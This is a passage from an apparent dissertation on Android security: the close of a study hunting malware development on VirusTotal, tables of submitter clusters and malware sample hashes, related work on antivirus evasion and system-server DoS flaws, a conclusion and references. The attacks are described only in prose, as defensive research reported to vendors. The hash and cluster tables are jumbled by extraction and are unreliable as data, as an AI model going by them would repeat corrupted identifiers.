While our research has validated our hypothesis that Android malware developmentcases do exist on VT, we are aware of the fact that our AMD hunting is not complete andthere are potential false negatives. Due to the large volume of submissions on VT, wecould hardly measure the exact false negatives of our AMD alerter. For instance, ouralerter could miss the case when a malware writer only submits the final version (i.e., afully-developed malware) for VT testing (i.e., without submitting the evolving versions),or when each malware submission is done through a distinct SubID. This is because ourapproach groups the submissions’ metadata based on SubID and then performs furtherreasoning for the SubIDs. This limitation, however, can probably be overcome throughtraditional malware clustering techniques, based on runtime behavior and code similaritymeasurement among samples. For this purpose, we, as a third party, need to collaboratewith VT to get the static and dynamic analysis results of all the submitted samples.
Moreover, each type of grouping strategy has its pros and cons. For instance, theapproach used in [17] uses ssdeep to group Windows malware. It can capture smallchanges among samples from different SubIDs. However, it cannot group samples withsemantics-preserving obfuscation or packing. For the AMD situation, their approach willpotentially miss interesting cases when one SubID is testing a set of apps with identicalmalicious payload but repackaged different carrier apps (i.e., they have a large portion of
102
different code base). Our SubID centric grouping approach can help us identify lots ofinteresting cases that do not share too much code similarity among developing samples(e.g., the repackaged system apps in Section 5.6). Since repackaging is one of the biggestchannels for Android malware distribution, our approach is a better fit for AMD cases.Moreover, by focusing on the grouping based on SubID, once we have confirmed a SubIDas malicious, we can continuously track the SubID for all the newly developed samplesdirectly. Also, we perform the grouping for the validated SubIDs based on static anddynamic analysis of their sample similarity during the validation process. This can helpus capture the same malware writer who uses different SubIDs. The result is shown inTable 5.4.
For the classifier in the AMD alerter, we currently use the Naive Bayesian Classifier,which can help us very efficient measure the suspiciousness of each SubID and retain themodel. However, it requires manual feature engineering and does not include the featureswith continuous variable yet. In the future, we would like to try other classificationtechniques (e.g., Support Vector Machine) to compare the result.
5.8 Summary
In this work, we have built a scalable malware hunting framework for VT, and havedeployed it in a security company for 4 months. During this period, the hunter hasprocessed 58 million of VT submissions and helped identify and validate 1,623 AMDcases, which include 13,855 samples across 83 countries. We also conducted case studiesbased on detailed malware analysis of 890 samples with 0 positive numbers. This studyrevealed lots of new Android malware threats (e.g., new phishing, new rooting, newevasive techniques, sophisticated JavaScript loading techniques and etc.). Our researchnot only raises the awareness of the AMD problem, but provides a scalable frameworkfor systematically studying malware development on similar virus submission platforms.We will also share the identified AMD cases with the research community.
103
Figure 5.17: 0-day Samples on Virus Total Web Portal
104
Table 5.4: Some SubID Grouping Clusters
Cluster 1 c2f90269 29813b7a Cluster 35 dd5ef562 82f3572164fa6acd Cluster 10 94545f8f 6b80f894 0a694f0b 3f76f221fddfb1d2 4f9abb2b a0bb49fa e15113fc Cluster 50 Cluster 63b376ca9a 2cfe7dc3 Cluster 22 Cluster 36 3715fa5a 08ec656aCluster 2 Cluster 11 a313ba63 be2f9e15 9a05f7f6 0a62145a3258b4b1 de6845cb f8dbef39 f6d53c09 eb850bbc Cluster 648135a2ec 8df0350a d19e38f4 c5a0010e Cluster 51 b0118dfdf57fa2fb cfec6ad1 Cluster 23 Cluster 37 0c631cdd 9524ccda
63685577 0694323a 16d2149c f94970a7 cb87bce5 Cluster 65708a25f9 4486aa33 d29cfbd4 c248b275 Cluster 52 0b736814b1f875b2 Cluster 12 9ee70255 Cluster 38 fd35305d 912fc6f59615f9db 4a76a627 8e2385da 91c8e225 5ff0811b Cluster 66148106f1 16debf87 8954e2e2 8345da39 Cluster 53 0cdd58b0acfa3e55 Cluster 13 Cluster 24 Cluster 39 71164896 443b24efd09efac1 60e9b384 717e70b3 a44e0e10 aa112e82 Cluster 67121835ac b10eced5 39f392be 137ffebc 00f705ad 2758c54b32054545 a27715c0 Cluster 25 a169494f b8526b21 d7376e7f0896f2bf Cluster 14 555d2207 0ca3d827 64de006c Cluster 68Cluster 3 b2c19cd4 58caddc9 f81a3256 Cluster 54 6bc0a4adda49033d 62bb6c20 e378f22d e5ecd3f6 b0dc1c85 a49b14325aa950a7 Cluster 15 c6d27a9f Cluster 40 61be19d4 Cluster 6969d5989d 60d11fbe Cluster 26 9a7784fd Cluster 55 b077ee251d420331 ad514c95 92f91851 4002726b 8bdb9551 6ee7d9d5Cluster 4 Cluster 16 a6cbe25e Cluster 41 df33b13e Cluster 701a9dbf46 9e6bc1d9 Cluster 27 030f02ad Cluster 56 e1c0e9cb95d9f2f1 e6125ee2 8ef97dcf 3e4211bc f687db23 462dffa8c6ddc3e6 Cluster 17 2e6bab80 f26a9e1d d9cbaec8 Cluster 718f7d4994 3d90e3e4 61128546 Cluster 42 f9106582 6.12E+100bf26fb0 d9644e6c Cluster 28 80330388 c3f200de 3ea05eb0Cluster 5 Cluster 18 d3de2e40 613cf75e 6eedfe73 Cluster 7207c8eb45 f3aba94a bca8942a Cluster 43 Cluster 57 e2edbe38cb7f14ce 249d9d8f a0b27207 4fae04f3 a37cd6cf 904477d6Cluster 6 1bfdf65a Cluster 29 8dff4d72 99efacec Cluster 7315839f0d 551bf146 b6838c6b Cluster 44 Cluster 58 62ee4eeec3ce3752 Cluster 19 1b9c2f02 ba388413 953ba169 5a73740bCluster 7 acdf34f8 Cluster 30 b808b67e 8a119e68 1568da6ee796f849 3503d457 0133afd2 Cluster 45 Cluster 59 cda41f01faf7c6a0 Cluster 20 577acbb4 8f5a4d09 bf96ce0a Cluster 74Cluster 8 8f83c160 20ee075e 940b9a9c 85c577c0 03db227ccf4f652d 96c674e8 b0a7d8b1 129dd9fd Cluster 60 9aaf57bfcbd175cd 045ddd59 Cluster 31 Cluster 46 86e3853f Cluster 7581dacd73 54b6429b f42bc735 71ef1fcd d79b2758 c9e0b761a2a87652 cef32103 d924c8e0 d104c96b 719d1da6 8954e2e273bb486e c17fc28e Cluster 32 Cluster 47 c3de4838 Cluster 76c6f14ed9 7032da58 3deb0066 249a5ccd 723b4f31 459d25a1cd4ae714 811a8027 d49790f5 60cb0a73 5d215d3d 3025d21dCluster 9 335faa3b Cluster 33 09080fd6 aa8e458b Cluster 779a78bd48 d9a8053a 7c3cdf59 Cluster 48 8915ba20 97345c2b9fa9690f 85f2688a 22f1c4bd 0dcfc1a5 Cluster 61 e8d7f095b0276b43 Cluster 21 Cluster 34 c3e1c3ac 9b19d678 Cluster 78879e0717 456e1ca7 4c778fd8 43eb54e7 3b841e59 bb399c1fb90ca137 c16958b2 28b7ec38 Cluster 49 Cluster 62 92cfe80f
105
Table 5.5: Sample-SubID Mapping
ID SubID Sha256 Type/Name
16892 443b24ef 1689269eb9e9b9812c6424418fccfe7b1d72f52788bbd06f88e235a33335253a KingRoot”19c37 717e70b3 19c3702a7723c070d8d115c1193f130ee0eb7c2a7364cda50495ad8b3af6b640 DaemonModelSDK9fee1 717e70b3 9fee1a4895b775a1a5316784e3f83918fd52e3bf4242793b4cf0190909585a2f DaemonModelSDK8538 717e70b3 853802c88cd32db59336ce66b50fde917ee92eeb503037f8c8e3d665b2fda12a DaemonModelSDK36e01 717e70b3 36e0124e332135ebc1f5131b926dcbdd0189c47ee567c38c396312c76213941e DaemonModelSDK1b093 a41202a6 1b093cf878f6660e23b537da4066552c9d913231feb15ff7c8bce568cfebac3b FlowSDK13a33 a41202a6 13a3312e0b70b751f0886b7130c955fd8e6df37514da539b44126f630b54d8c9 FlowSDK22afa 4002726b 22afa8e74e64238e7c07f788723246d2abde9e5f331434a31d6efe6af9b019dd JS xvideocfa0b 4002726b cfa0ba4da2732547a88c7101c95ea20f53c2496764f7f64a92a6c6cd25173867 JS xvideo2393d 4002726b 2393dec8cd831c9f547c8cb1f0d82d7fe672db256fd29e6e749389a8341cf470 JS xvideo31edf 23e42ba8 31edfa309b4384e437c07d6c549f9746510f28f4cca124224bcf86653d3fb99e girltube_clean1a41e f9106582 1a41e9a94209958fa39a459ca3097aa73863a5e82b278cd225ff4056ebee1724 Fake System App3dd49 f9106582 3dd49cbdf9c9b9d22158f443b1b565d2225141b276d7f068fb62fea0b1898163 Fake System App44e0f 0cdd58b0 44e0f2f6f8cbf4e81a365d9a2715c42db32f6bab5b921d48bc89bbf19a757353 no KingRoot219c0 0cdd58b0 219c067ee62bd06553bcad94a3244a39d88ce7144e5f03d6775e2664b562629a reuse KingRoot5f509 90dd9c5b 5f50938d5ef6d6986fef08ff4e3c609b6ee31e1f2ba917b34c19289484fac821 _created201512014c769 90dd9c5b 4c7697bbbd5bbe68814c5c4c82fdefaa2f15aaf128a693836dea25d086f16f60 testAppForESETfe5ff 90dd9c5b fe5ffc1244b84d75cdfc5b0bbb9095af0563242bdbd885543c9937d4e60a8eb5 testAppForNod32c73ae fe40b9cf c73ae8adeb34e0c46b4002479d59b76d92a2f972e1ddd210b2f8824e350a9813 ICReceiver.javadbe05 fe40b9cf dbe05ab0bd0f2cffebb6572f656ca8fc9e59f9648fc6d162832ae63136ef1696 InstallerActivity.classe4d36 fe40b9cf e4d36e0cc0145a06a1565a1e7a1a7c9b48db65f2139e7c69c2273f2006a5292c xbot007_2.apkcc753 fe40b9cf cc75322913729d29751d5a14d29a08d0d187c01bed7f0ff023241052bcfc01d5 xbot007_11.apk0083c fe40b9cf 0083c572fbdb730971fb773b8eff8a916853a93e1ba2b94455f9fc4f59d465bc AndroidManifest.xml4f3bc 7233ed03 4f3bcab1a493d1717d90fb3e2f8d72afe53121b2137f98c161cae9d21c23079f fakeTimeStamp61931 580dffd2 61931606ef07e286ca38cc135c2192c1da4af512cf0e22fb9105d8be2c1ccd58 Youmi Adwarecba6d 580dffd2 cba6df2997b312207d8ab45879aaad98268fc7579dda573870ddf92f4548f85d Youmi Adwareb5423 580dffd2 b542348cda473921fe66ea82be031281216e627b3345bf73f4ff0f510f394a34 Youmi Adwaredcea3 20221459 dcea3eb79bfde0e35d7c8b268ea047b32708269b86358a3f53d3959936afd4ea com.android.music62a65 20221459 62a655836a04a558414402d0e0af1d3206780aa8fdc8222b62ae8ddd552119b1 baidu.protect49461 20221459 4946119e533c1050cdfb6925b0292e06ff4c6fcf0cfb5f8ccbb0e32e564936c2 install-recovery.sh04955 094edc45 049557f26491149e09d87c648a2d67eca73084a9e5bc4da8b737d79ec400ac8e 0-day SexyVedio2b8a4 094edc45 2b8a4a4810909a1297eef59444abf24ba65ba1eb5168e9ece5e35c885186781d SexyVedio Triadab7b71 24451004 b7b7113c843d168c7bb0b32d79c43bfc8011fffca914388752d381abc342117a No classes.dex19ea7 24451004 19ea73d586291b82b984bc672b2c96e8b3c617811145b4135259fcde907e2319 Leech/Clicker3c72b e9f0904e 3c72ba33f1013619711bfba8cc1a2c87d9b702f7403160e0a2774e4da8011517 31 PosNum20821 e9f0904e 20821e1d35ec26d45170d3dcccd9238e9544de6e6778470b28eeea789dbf4a24 9 PosNum8400a 8954e2e2 8400a4afdefd7617fcf97425ec8c086aa4830803d8a4f7e60ca99e9efc50be43 Bank Trojan1138e 8954e2e2 1138e847b31048a248f8e43218f08998258ede5a5765347aa1128ccb7c6191f3 Bank Trojandd11e 8954e2e2 dd11e87c0cff4cc558f6154869dbec193f5c8121a92346b4efcf35bfafc9349a Bank Trojanaa9f3 6f070bb1 aa9f327c71c06d8e7611e3158d68657402e3dfb419f0ae211fbefbf287153dab rootgeniusl 4079e b7cf0bd5 4079e4808730006888abfb89822a9182d9773d205e4cc5ca0c63923e4867a16635a60 b7cf0bd5 35a60afffd316166a9576ce7da3028433c6d64407f7d9af3ca7f82be56a59977 iroot reuse 0-dayc3723 b7cf0bd5 c3723853f51a9c55160a210bde5e57e8fd841cd4840361d28debe8cd34af443e iroot reuse32ec9 3503d457 32ec93279ded3db6791ee564509042f940b6765acd0dd930e8bbd5f47740228b kk SDKbe1ae acdf34f8 be1ae47b85aaec1e9a889296b1cb3a5a6509c2ec83e7613525e7a3bf2ea76339 kk SDK
106
Chapter 6 |State of the Art
6.1 Threats in Android
Application and system vulnerability study is an active research aspect in both mobileand PC era. Accidental data disclosure between apps in mobile and PC systems havebeen discussed in [4]. And our work comprehensively analyzed several deficiencies inthe malScan caused by the unexpected data exposed from the system side. Lin et al. [9]also take the public resources /proc/PID/stat as probing channel to identify the passwordinput moment of another app before the designed screen-shooting actions are performed.Pileup attacks [7] is based on a vulnerability in packagemanager that target system update.Our engineUpdate hazard is based on newly discovered deficiencies in packagemanager
(relevant to the app-update mechanism) and activitymanager (relevant to the messagebroadcasting mechanism) respectively. Erika et al. [102] describe an attack only againstthe ordered broadcast API of Android (by the default design, Android allows the receiverof the ordered broadcasts to manipulate or drop the broadcasted intent in the middle).Differently, our ASVs #1 and #2 target all types of broadcast APIs (e.g., sendBroadcast,sendOrderedBroadcast and etc.) and other functions in the activitymanager. Androidpermission re-delegation attacks [10–12, 103] have been well studied. Their fundamentalproblem is the wrong trust assumption between app components. Long et al. [103]design a static analysis tool to find permission re-delegation vulnerabilities between appcomponents. We characterize a new type of hazard and then design an efficient tool to helpdiscover the ASVs in critical system services. We also demonstrate that using permissionsto protect critical resources in the SS is not sufficient. Our static code analyzer is partiallybased on the call-graph-generation component from PScout [14], which effectively
107
generates the call graphs to refine the specifications of API-to-permission mapping inAndroid. Empirical studies [3,104,105] have been performed on analyzing several threatsin mission critical components or modules in Android apps. Our security analysis isperformed on the mission critical Android AVD apps and the heart of Android, the system
server and several fundamental design flaws are discovered and reported to AV vendorsand system providers, such as Google and Samsung.
6.2 DoS Attacks and Defenses
DoS Attacks and Defenses on Internet services and sensor networks is a well exploredresearch area [106–110]. Yaar et al. [107, 108] increase the capabilities of legitimatetraffic to mitigate DoS attacks on Internet services. Jonathan et al. [106] explore thepossibility of causing DoS attack on sensor network under the assumption the sensornetwork broadcast protocols may under an untrustworthy environment. Similarly, in thecurrent Android eco-system, untrusted apps can also be easily spread to users’ devices,so we analyze the robustness of the Android services against DoS attacks and identifyfour ASVs in its intent broadcasting scheme and windows layout process. It provesthat a general type of DoS attacks can happen in Android. Armando et al. [111] abusethe loosely guided Unix socket permission in the Zygote process to fork an unboundednumber of processes to mount a DoS attack on Android and fix the problem by settingthe right access control bits. However, the ASVs is a more general type of vulnerabilities,as it is rooted in the design of the system server and is hard to propose a straightforwardfix. Several system access control enhancements [11, 12, 15] are proposed to mitigatethe permission re-delegation problem. However, these systems cannot completely solvethe ASVs relevant attacks, as they merely decide if a resource access should be grantedor not, but lack the capability to further constrain the amount of resource each subjectcan request. Therefore, we should gain further in-depth understanding of the resourcemanagement and the limitations in the access control mechanisms, in order to design abetter defense mechanism particularly for the ASVs.
6.3 Malware Detection and Evasion Techniques
Malware analysis and threat prevention techniques [50, 112–114] have been designedand applied for offline analysis. Also, various interesting anti-analysis techniques have
108
been discussed [115, 116] for both mobile and PC malware. Our proof-of-concept AVDevasions is conceptually similar to anti-analysis techniques, but we focus on the newangel to emphasize more on the evasion of AVD’s online protection mechanism. Zhouet al. [22] provide a study of Android malware, and similarly, the discovered hazards inthis paper are also based on a systematic study of 30 popular Android AVDs. Antivirusevasion techniques [32,117,118] have been studied previously. Oberheide et al. [119] hasalso generally discussed challenges in deploying antivirus detectors (AVDs) on mobileplatforms. Android Dalvik bytecode polymorphic transformation attacks have beenpresented by Rastogi et al. [31] to target the incomplete signature database. However,our study shows that besides developing a complete signature database contains all thetransformed malicious payloads, the malware recognition should be further improvedon the quality of AVD’s scanners when deployed on the Android platform. Fedler etal. [120] discuss the lack of on-demand file system hooking problem of Android antivirus.Our study shows that some of the AVDs already leveraging FileObserver class for thatpurpose. However, it is lack of the combination of comprehensiveness and continuity thatcauses the ineffectiveness of the current design. What’s more, the discovered hazards inthe AVD engineUpdate are completely orthogonal to the file system hooking problem.Because strong protections must rely on an activated AVD process, which are missingin the null-protection window. The situation becomes more devastating when furtherexploiting the flaw in the engineUpdate with the discovered vulnerabilities [121] in theAMS. It can delay the reactivation of the updated AVD engine and make the length ofthe null-protection window controllable.
6.4 Malware Development Phenomenon Study
To the best of our knowledge, the Windows malware development phenomenon wasrecorded in 2012 and published in Sep, 2nd of 2014 in a blog [23]. Later a researchwork [17, 23] on mining Windows binary malware on Anubis was published in August,12th of 2015. Our current system also captures lots of Windows binaries developingcases on VT during Oct, 2015 and Jan, 2016. Therefore, we believe this phenomenonwill not disappear just because of some research prototypes. Android malware is quitedifferent from traditional PC malware; for example, the repackaging technique is rare inWindows binaries but very popular in Android APKs. Also, different from the earlierstudy [23] on the Windows binaries, we conduct a more systematic research for malware
109
development hunting and add an automated validation phase. The approach describedin [17] for mining Windows malware development in Anubis is more systematic, but itrequires all the detailed static and dynamic analysis results to perform classification. Italso requires the external dataset from Symantec WINE for validation. In contrast, forour research, we as a third party do not have access to detailed analysis results from VT,and our validation logic is based on the understanding of Android malware and uniqueobservations of AMD cases.
110
Chapter 7 |Conclusion
In this study, we mainly investigate three important aspects of Android security: 1) thesecurity issues in the antivirus detectors (AVD) for Android; 2) the DoS attacks againstone of the most important components in Android, the system server process (SS) and3) the hunting and analysis of Android malware development (AMD) cases on publicmalware submission and scanning platform.
In the Android application level security analysis, we performed a comprehensiveanalysis of 30 top-ranked AVD from 16 countries through reverse engineering, staticcode analysis and dynamic testing techniques. We gain new understanding of tailoringthe AVD for the Android system, which help us discover a series of new hazards incritical operations of Android AVDs, ranging from malware scans, engine updatesto virus definition file updates. We then further measure the discovered hazards bydeveloping several proof-of-concept evasions. All these evasion techniques are targetingthe fundamental design of current AVD and its interaction with the Android system,which is different from the traditional transformation based evasions [31, 32], whichtargets the incomplete signature database. Furthermore, we use the model checkingtechnique to automatically verify the existence of the vulnerable temporal logic in thePMS of all versions of Google Android, and other customized image.All the discoveredsecurity issues have been reported to AVDs vendors and mitigations are proposed to themfor further enhancements. Google also confirmed our findings and feature enhancementin the PMS will be deployed.
In the Android system level security analysis, we perform the attack-resilienceanalysis of the SS, which particularly focuses on the DoS attack resilience aspects of theSS. Specifically, through source code analysis and our new understanding, we reveal ageneral design flaw in the concurrency control scheme and failure recover mechanism of
111
the SS. We further characterize it as a general vulnerability (i.e., ASV). We then build atool to help cost-effectively analyze 2154 risky methods, it helps reveal four previouslyunknown ASVs in two critical services (i.e., activitymanager and windowmanager). Wefurther easily craft several PoCs by exploiting the ASVs under various scenarios. Googleimmediately confirmed our findings, and we proposed short-term mitigations for users,refinement for the CC mechanism and a smarter watchdog scheme for the SS. Googlealso takes some of our defense proposals. Our study shows that some seemingly neat androbust design choices can lead to unexpected flaw. Hence, the secure design for criticalcomponents in the rapidly-evolving mobile systems becomes important.
In the large scale AMD cases hunting project, we have built a scalable malwarehunting framework for VT, and has deployed it in a security company for 4 months.During this period, the hunter has processed 58 million of VT submissions and helpedidentify and validate 1,623 AMD cases (with a false positive rate of 0.49%), which include13,855 samples across 83 countries. We also conducted case studies based on detailedmalware analysis of 890 samples with 0 positive numbers. This study revealed lots ofnew Android malware threats (e.g., new phishing, rooting, evasive techniques and etc.).Our research not only raises the awareness of the AMD problem, but provides a scalableframework for systematically studying malware development on similar virus submissionplatforms. We also share the identified AMD cases with the research community. In thefuture, we will explore the malware development for other file types (e.g., Maco or Linuxbinaries) and adapt our current system for other public malware submission and scanningplatforms.
112
Bibliography
[1] “Android Fragmentation Visualized, 2015,” http://opensignal.com/reports/2015/08/android-fragmentation/.
[2] “Kaspersky Lab Reports Mobile Malware in 2013,”http://usa.kaspersky.com/about-us/press-center/press-releases/kaspersky-lab-reports-mobile-malware-2013-more-doubles-previous .
[3] SCHLEGEL, R., K. ZHANG, X.-Y. ZHOU, M. INTWALA, A. KAPADIA, andX. WANG (2011) “Soundcomber: A Stealthy and Context-Aware Sound Trojanfor Smartphones.” in NDSS.
[4] NADKARNI, A. and W. ENCK “Preventing accidental data disclosure in modernoperating systems,” in CCS ’13.
[5] ZHOU, X., S. DEMETRIOU, D. HE, M. NAVEED, X. PAN, X. WANG, C. A.GUNTER, and K. NAHRSTEDT (2013) “Identity, location, disease and more:inferring your secrets from android public resources,” in In ACM CCS, ACM.
[6] LEE, B., L. LU, T. WANG, T. KIM, and W. LEE (2014) “From Zygote to Morula:Fortifying Weakened ASLR on Android,” in IEEE Symposium on Security andPrivacy.
[7] XING, L., X. PAN, R. WANG, K. YUAN, and X. WANG “Upgrading Your Android,Elevating My Malware: Privilege Escalation Through Mobile OS Updating,” inIEEE Symposium on S&P 14.
[8] ZHOU, X., Y. LEE, N. ZHANG, M. NAVEED, and X. WANG (2014) “The Peril ofFragmentation: Security Hazards in Android Device Driver Customizations,” inIEEE Symposium on S&P.
[9] LIN, C.-C., H. LI, X. ZHOU, and X. WANG (2014) “Screenmilker: How to MilkYour Android Screen for Secrets,” .
113
[10] FELT, A. P., H. J. WANG, A. MOSHCHUK, S. HANNA, and E. CHIN (2011)“Permission Re-Delegation: Attacks and Defenses,” in Proceedings of the 20thUSENIX Security Symposium, USENIX’11.
[11] BUGIEL, S., L. DAVI, A. DMITRIENKO, T. FISCHER, and A.-R. SADEGHI
(2011) “Xmandroid: A new android evolution to mitigate privilege escalationattacks,” Technische Universität Darmstadt, Technical Report TR-2011-04.
[12] BUGIEL, S., S. HEUSER, and A.-R. SADEGHI (2013) “Flexible and Fine-grainedMandatory Access Control on Android for Diverse Security and Privacy Policies.”in Usenix security.
[13] Android Antivirus Companies, Tech. rep., http://www.zdnet.com/android-antivirus-comparison-review-malware-symantec-mcafee-kaspersky-sophos-norton-7000019189/.
[14] AU, K. W. Y., Y. F. ZHOU, Z. HUANG, and D. LIE (2012) “Pscout: analyzingthe android permission specification,” in ACM CCS.
[15] SMALLEY, S. and R. CRAIG (2013) “Security Enhanced (SE) Android: BringingFlexible MAC to Android.” in NDSS.
[16] “The two suspect arrested for running private multiscan system for malwarewriters,” https://goo.gl/uiUa4R.
[17] GRAZIANO, M., D. CANALI, L. BILGE, A. LANZI, and D. BALZAROTTI (2015)“Needles in a haystack: mining information from public dynamic analysis sand-boxes for malware intelligence,” in Usenix security.
[18] “Anubis, 2009,” http://anubis.iseclab.org.
[19] CHEN, K., P. WANG, Y. LEE, X. WANG, N. ZHANG, H. HUANG, W. ZOU, andP. LIU “Finding Unknown Malice in 10 Seconds: Mass Vetting for New Threatsat the Google-Play Scale,” in USENIX Security 15, USENIX Association.
[20] “Malwr, 2010,” https://malwr.com.
[21] “VirusTotal is a free service for malware submission and scanning,” https://www.virustotal.com.
[22] ZHOU, Y. and X. JIANG “Dissecting android malware: Characterization andevolution,” in SP ’12, IEEE.
[23] “A Google Site Meant to Protect You Is Helping Hackers Attack You,” http://www.wired.com/2014/09/how-hackers-use-virustotal/.
114
[24] “AV TEST report, Jan 2014,” http://www.av-test.org/en/tests/mobile-devices/android/jan-2014/.
[25] POEPLAU, S., Y. FRATANTONIO, A. BIANCHI, C. KRUEGEL, and G. VIGNA
“Execute this! analyzing unsafe and malicious dynamic code loading in androidapplications,” in NDSS ’14.
[26] ZHANG, F., H. HUANG, S. ZHU, D. WU, and P. LIU (2014) “View-Droid:Towards obfuscation-resilient mobile application repackaging detection,” in Pro-ceedings of the 7th ACM Conference on Security and Privacy in Wireless andMobile Networks (WiSec 2014). ACM.
[27] HUANG, H., S. ZHU, P. LIU, and D. WU (2013) “A Framework for Evaluat-ing Mobile App Repackaging Detection Algorithms,” in Trust and TrustworthyComputing, Springer.
[28] GIBLER, C., R. STEVENS, J. CRUSSELL, H. CHEN, H. ZANG, and H. CHOI
“Adrob: Examining the landscape and impact of android application plagiarism,”in MobiSys ’13.
[29] CHEN, K., P. LIU, and Y. ZHANG (2014) “Achieving accuracy and scalabilitysimultaneously in detecting application clones on Android markets.” in ICSE, pp.175–186.
[30] ZHOU, W., Y. ZHOU, X. JIANG, and P. NING “Detecting repackaged smartphoneapplications in third-party android marketplaces,” in Proceedings of CODASPY
’12, ACM.
[31] RASTOGI, V., Y. CHEN, and X. JIANG (2013) “Droidchameleon: evaluatingandroid anti-malware against transformation attacks,” in asiaCCS, ACM.
[32] OBERHEIDE, J., M. BAILEY, and F. JAHANIAN “PolyPack: an automated on-line packing service for optimal antivirus evasion,” in 3rd USENIX on Offensivetechnologies.
[33] (2013), “Frequently updates of Antivirus Detection Engine,” http://m.aptoide.com/list/versions/com.lookout/83510.
[34] “Frequently updates of Antivirus Detection Engine, 2013, howpublished = http://goo.gl/jZC7RQ„” .
[35] “DoS attack on Lookout mobile security application,” http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3579.
[36] “The Lookout AVD v8.17-8a39d3f for Android allows attackers to cause a denialof service ,” http://cve.scap.org.cn/CVE-2013-3579.html.
115
[37] “The TrustGo AVD v1.3.6 for Android allows attackers to cause a DoS,” http://cve.scap.org.cn/CVE-2013-3580.html.
[38] “The avast! AVD v2.0.4400 for Android allows attackers to cause a denial ofservice ,” http://cve.scap.org.cn/CVE-2013-0122.html.
[39] “Avast! Mobile Security protects against USSD attacks,” http://blog.avast.com/2012/10/04/avast-mobile-security-protects-against-ussd-attacks/ .
[40] “Android Monkeyrunner,” http://developer.android.com/guide/developing/tools/monkeyrunner_concepts.html.
[41] “Android Dalvik Debug Monitor Server,” http://developer.android.com/sdk/installing/studio-tips.html.
[42] “Samli/Baksmali,” http://code.google.com/p/smali/.
[43] “AndroGuard: Android Dalvik Bytecode Analysis Framework,” http://www.blackhat.com/html/bh-ad-11/bh-ad-11-briefings.html.
[44] “Jinshan mobile duba,” http://m.duba.net/.
[45] “LBE secrity guard,” http://www.lbesec.com/.
[46] JIN, X., X. HU, K. YING, W. DU, H. YIN, and G. N. PERI “Code Injection At-tacks on HTML5-based Mobile Apps: Characterization, Detection and Mitigation,”in CCS ’14.
[47] “Prevent Unintended APP Update,” http://www.symantec.com/connect/blogs/case-unintended-android-application-upgrade.
[48] “Samsung Mobile Device Management solution,” http://www.samsung.com/global/business/mobile/solution/security/mobile-device-management/.
[49] CHEN, H., D. DEAN, and D. WAGNER (2004) “Model Checking One MillionLines of C Code.” in NDSS.
[50] CHRISTODORESCU, M., S. JHA, S. A. SESHIA, D. SONG, and R. E. BRYANT
“Semantics-aware malware detection,” in S&P ’05.
[51] CHEN, K. Z., N. M. JOHNSON, V. D’SILVA, S. DAI, K. MACNAMARA, T. R.MAGRINO, E. X. WU, M. RINARD, and D. X. SONG (2013) “Contextual PolicyEnforcement in Android Applications with Permission Event Graphs.” in NDSS.
116
[52] “Factory Images for Nexus Devices,” https://developers.google.com/android/nexus/images.
[53] (2012), “Android Platform Fragmentation,” http://opensignal.com/reports/fragmentation-2013/.
[54] “Android OS Version Relative Chart ending on April 1, 2014 ,” http://developer.android.com/about/dashboards/index.html.
[55] “OS Images from Samsung-updates,” http://samsung-updates.com/.
[56] “HTC Android Images from HTCdev,” http://www.htcdev.com/devcenter/downloads/P00.
[57] HUANG, H., S. ZHANG, X. OU, A. PRAKASH, and K. SAKALLAH (2011) “Dis-tilling critical attack graph surface iteratively through minimum-cost sat solving,”in Proceedings of the 27th ACSAC, ACM, pp. 31–40.
[58] “Despite iPhone 6 hype, Android continues to dominate iOS market share,” http://bgr.com/2014/07/01/android-market-share-2014/.
[59] “Android and RTOS together: The dynamic duo for today’s medical devices,”http://goo.gl/StURzu.
[60] “Medical Device Manufacturers Improve Their Bedside Manner with Android,”http://goo.gl/d2JF3.
[61] “Why Android will be the biggest selling medical devices in the world by the endof 2012,” http://goo.gl/G5UXq.
[62] “Northrop Grumman News: DARPA ASPN project,” http://goo.gl/3IUSXu.
[63] “Northrop to Demo DARPA Navigation System on Android,” http://goo.gl/bgRggD.
[64] LUNDBERG, D., B. FARINHOLT, E. SULLIVAN, R. MAST, S. CHECKOWAY,S. SAVAGE, A. C. SNOEREN, and K. LEVCHENKO “On The Security of MobileCockpit Information Systems,” in Proceedings of the 2014 ACM CCS.
[65] “Android Auto: Driven by Android,” https://www.android.com/intl/en_us/auto/.
[66] “Strand-1 satellite launches Google Nexus One smartphone into orbit,” http://goo.gl/r5zkrs.
[67] (2014) “ASM: A Programmable Interface for Extending Android Security,” in23rd USENIX Security Symposium, San Diego, CA.
117
[68] “Icon vulnerability causes mobile-system crashes,” http://goo.gl/SjvVVB.
[69] “Trend Micro Discovers Vulnerability That Renders Android Devices Silent, July30, 2015,” http://goo.gl/k2bX0x.
[70] DAVID, F. M. and R. H. CAMPBELL “Building a self-healing operating system,”in Dependable, Autonomic and Secure Computing, 2007. DASC 2007. Third IEEEInternational Symposium on.
[71] DAVID, F. M., J. C. CARLYLE, and R. H. CAMPBELL (2007) “Exploring recoveryfrom operating system lockups,” in USENIX Annual Technical Conference.
[72] “Soot: a java optimization framework,” http://www.sable.mcgill.ca/soot/.
[73] WEI, T., J. MAO, W. ZOU, and Y. CHEN (2007) “A new algorithm for identifyingloops in decompilation,” in Static Analysis, Springer.
[74] “ANTLR,” http://www.antlr.org/.
[75] BIANCHI, A., J. CORBETTA, L. INVERNIZZI, Y. FRATANTONIO, C. KRUEGEL,and G. VIGNA “What the App is That? Deception and Countermeasures in theAndroid User Interface,” in IEEE Symposium on SP, 2015.
[76] HUANG, H., K. CHEN, C. REN, P. LIU, S. ZHU, and D. WU “Towards Discover-ing and Understanding Unexpected Hazards in Tailoring Antivirus Software forAndroid,” in Proceedings of the 10th ACM Symposium on Information, Computerand Communications Security.
[77] CHEN, Q. A., Z. QIAN, and Z. M. MAO “Peeking into your app without actuallyseeing it: Ui state inference and novel android attacks,” in Proc. 23rd USENIX Sec
’14.
[78] JIN, X., X. HU, K. YING, W. DU, H. YIN, and G. N. PERI “Code Injection At-tacks on HTML5-based Mobile Apps: Characterization, Detection and Mitigation,”in Proceedings of the 2014 ACM CCS.
[79] “CVE-2014-3500: Cordova cross-application scripting via Android intentURLs,” http://cordova.apache.org/announcements/2014/08/04/android-351.html.
[80] “Android banking apps vulnerable to cash theft by CAS hole hackers,”http://www.theregister.co.uk/2014/08/06/android_vuln_banking_app_risk/.
118
[81] “Six vulnerabilities found in lots of banking apps,”http://www.developer-tech.com/news/2014/feb/05/6-security-vulnerabilities-found-in-many-banking-apps .
